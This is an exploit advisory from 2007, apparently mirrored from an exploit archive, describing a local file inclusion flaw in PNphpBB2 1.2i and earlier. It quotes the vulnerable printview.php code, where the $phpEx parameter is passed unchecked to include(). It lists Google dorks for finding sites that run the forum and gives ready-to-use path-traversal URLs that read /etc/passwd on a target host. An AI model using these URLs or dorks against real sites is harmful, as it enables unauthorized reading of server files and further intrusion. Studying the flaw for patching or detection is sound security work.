[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln
# Published : 2007-12-26
# Author : irk4z
# Previous Title : XZero Community Classifieds <= 4.95.11 Remote File Inclusion Vuln
# Next Title : TeamCalPro 3.1.000 Multiple Remote/Local File Inclusion Vulnerabilities
.-----------------------------------------------------------------------------.
| vuln.: PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln. |
| download: http://www.pnphpbb.com/ |
| dorks: Powered by PNphpBB2 / Powered por PNphpBB2 |
| inurl:"index.php?name=PNphpBB2" |
| |
| author: irk4z@yahoo.pl |
| homepage: http://irk4z.wordpress.com/ |
| |
| greets to: str0ke, wacky, polish under ;] |
'-----------------------------------------------------------------------------'
# code:
/printview.php:
...
define('IN_PHPBB', true);
$ModName = basename( dirname( __FILE__ ) );
$phpbb_root_path = './modules/' . $ModName . '/';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
...
LFI in $phpEx :D:D:D
# sploit:
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]
# www.Syue.com [2007-12-26]